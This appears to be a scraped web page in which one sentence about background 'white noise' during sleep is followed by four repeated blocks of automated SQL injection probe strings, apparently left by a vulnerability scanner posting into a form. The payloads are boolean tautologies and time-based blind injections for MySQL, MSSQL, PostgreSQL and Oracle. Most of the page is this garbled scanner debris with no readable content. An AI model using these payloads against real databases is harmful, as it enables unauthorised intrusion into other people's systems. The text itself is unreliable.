Yes, you can. It will be background "white noise", but will not disturb your sleep pattern.
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555UNsRXv6s
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-1 OR 2+510-510-1=0+0+0+1 --
-1 OR 2+389-389-1=0+0+0+1
-1' OR 2+380-380-1=0+0+0+1 --
-1' OR 2+454-454-1=0+0+0+1 or 'NdHkXTjH'='
-1" OR 2+678-678-1=0+0+0+1 --
555*if(now()=sysdate(),sleep(15),0)
5550'XOR(555*if(now()=sysdate(),sleep(15),0))XOR'Z
5550"XOR(555*if(now()=sysdate(),sleep(15),0))XOR"Z
(select(0)from(select(sleep(15)))v)/*'+(select(0)from(select(sleep(15)))v)+'"+(select(0)from(select(sleep(15)))v)+"*/
555-1; waitfor delay '0:0:15' --
555-1); waitfor delay '0:0:15' --
555-1 waitfor delay '0:0:15' --
555HlyFziwa'; waitfor delay '0:0:15' --
555-1 OR 678=(SELECT 678 FROM PG_SLEEP(15))--
555-1) OR 553=(SELECT 553 FROM PG_SLEEP(15))--
555-1)) OR 422=(SELECT 422 FROM PG_SLEEP(15))--
555G8ZVJJAR' OR 654=(SELECT 654 FROM PG_SLEEP(15))--
555WBfJpFIz') OR 958=(SELECT 958 FROM PG_SLEEP(15))--
555YbT1SRrU')) OR 974=(SELECT 974 FROM PG_SLEEP(15))--
555*DBMS_PIPE.RECEIVE_MESSAGE(CHR(99)||CHR(99)||CHR(99),15)
555'||DBMS_PIPE.RECEIVE_MESSAGE(CHR(98)||CHR(98)||CHR(98),15)||'
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555OHrFvZFe
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-1 OR 2+274-274-1=0+0+0+1 --
-1 OR 2+857-857-1=0+0+0+1
-1' OR 2+164-164-1=0+0+0+1 --
-1' OR 2+602-602-1=0+0+0+1 or '8BLzcbyM'='
-1" OR 2+726-726-1=0+0+0+1 --
555*if(now()=sysdate(),sleep(15),0)
5550'XOR(555*if(now()=sysdate(),sleep(15),0))XOR'Z
5550"XOR(555*if(now()=sysdate(),sleep(15),0))XOR"Z
(select(0)from(select(sleep(15)))v)/*'+(select(0)from(select(sleep(15)))v)+'"+(select(0)from(select(sleep(15)))v)+"*/
555-1; waitfor delay '0:0:15' --
555-1); waitfor delay '0:0:15' --
555-1 waitfor delay '0:0:15' --
555rAEs3FCL'; waitfor delay '0:0:15' --
555-1 OR 295=(SELECT 295 FROM PG_SLEEP(15))--
555-1) OR 996=(SELECT 996 FROM PG_SLEEP(15))--
555-1)) OR 147=(SELECT 147 FROM PG_SLEEP(15))--
555z64JBNjV' OR 605=(SELECT 605 FROM PG_SLEEP(15))--
555CPFriol5') OR 528=(SELECT 528 FROM PG_SLEEP(15))--
555ElIsvZx3')) OR 103=(SELECT 103 FROM PG_SLEEP(15))--
555*DBMS_PIPE.RECEIVE_MESSAGE(CHR(99)||CHR(99)||CHR(99),15)
555'||DBMS_PIPE.RECEIVE_MESSAGE(CHR(98)||CHR(98)||CHR(98),15)||'
555'||DBMS_PIPE.RECEIVE_MESSAGE(CHR(98)||CHR(98)||CHR(98),3)||'
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555FF85wvID
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-1 OR 2+196-196-1=0+0+0+1 --
-1 OR 2+163-163-1=0+0+0+1
-1' OR 2+877-877-1=0+0+0+1 --
-1' OR 2+563-563-1=0+0+0+1 or 'bZT5D0dc'='
-1" OR 2+718-718-1=0+0+0+1 --
555*if(now()=sysdate(),sleep(15),0)
5550'XOR(555*if(now()=sysdate(),sleep(15),0))XOR'Z
5550"XOR(555*if(now()=sysdate(),sleep(15),0))XOR"Z
(select(0)from(select(sleep(15)))v)/*'+(select(0)from(select(sleep(15)))v)+'"+(select(0)from(select(sleep(15)))v)+"*/
555-1; waitfor delay '0:0:15' --
555-1); waitfor delay '0:0:15' --
555-1 waitfor delay '0:0:15' --
5559h64WX8h'; waitfor delay '0:0:15' --
555-1 OR 996=(SELECT 996 FROM PG_SLEEP(15))--
555-1) OR 308=(SELECT 308 FROM PG_SLEEP(15))--
555-1)) OR 458=(SELECT 458 FROM PG_SLEEP(15))--
555YtEZ2x4O' OR 413=(SELECT 413 FROM PG_SLEEP(15))--
5551WX8PJqq') OR 758=(SELECT 758 FROM PG_SLEEP(15))--
555GHAWhYIc')) OR 351=(SELECT 351 FROM PG_SLEEP(15))--
555*DBMS_PIPE.RECEIVE_MESSAGE(CHR(99)||CHR(99)||CHR(99),15)
555'||DBMS_PIPE.RECEIVE_MESSAGE(CHR(98)||CHR(98)||CHR(98),15)||'
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555JguxY0Qj
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-1 OR 2+888-888-1=0+0+0+1 --
-1 OR 2+204-204-1=0+0+0+1
-1' OR 2+936-936-1=0+0+0+1 --
-1' OR 2+521-521-1=0+0+0+1 or 'C7ISy6jr'='
-1" OR 2+679-679-1=0+0+0+1 --
555*if(now()=sysdate(),sleep(15),0)
5550'XOR(555*if(now()=sysdate(),sleep(15),0))XOR'Z
5550"XOR(555*if(now()=sysdate(),sleep(15),0))XOR"Z
(select(0)from(select(sleep(15)))v)/*'+(select(0)from(select(sleep(15)))v)+'"+(select(0)from(select(sleep(15)))v)+"*/
555-1; waitfor delay '0:0:15' --
555-1); waitfor delay '0:0:15' --
555-1 waitfor delay '0:0:15' --
555oQZvY2in'; waitfor delay '0:0:15' --
555-1 OR 914=(SELECT 914 FROM PG_SLEEP(15))--
555-1) OR 522=(SELECT 522 FROM PG_SLEEP(15))--
555-1)) OR 470=(SELECT 470 FROM PG_SLEEP(15))--
555FUFEEpqj' OR 890=(SELECT 890 FROM PG_SLEEP(15))--
555nXkrTc86') OR 465=(SELECT 465 FROM PG_SLEEP(15))--
555ZNjCvRkM')) OR 364=(SELECT 364 FROM PG_SLEEP(15))--
555*DBMS_PIPE.RECEIVE_MESSAGE(CHR(99)||CHR(99)||CHR(99),15)
555'||DBMS_PIPE.RECEIVE_MESSAGE(CHR(98)||CHR(98)||CHR(98),15)||'
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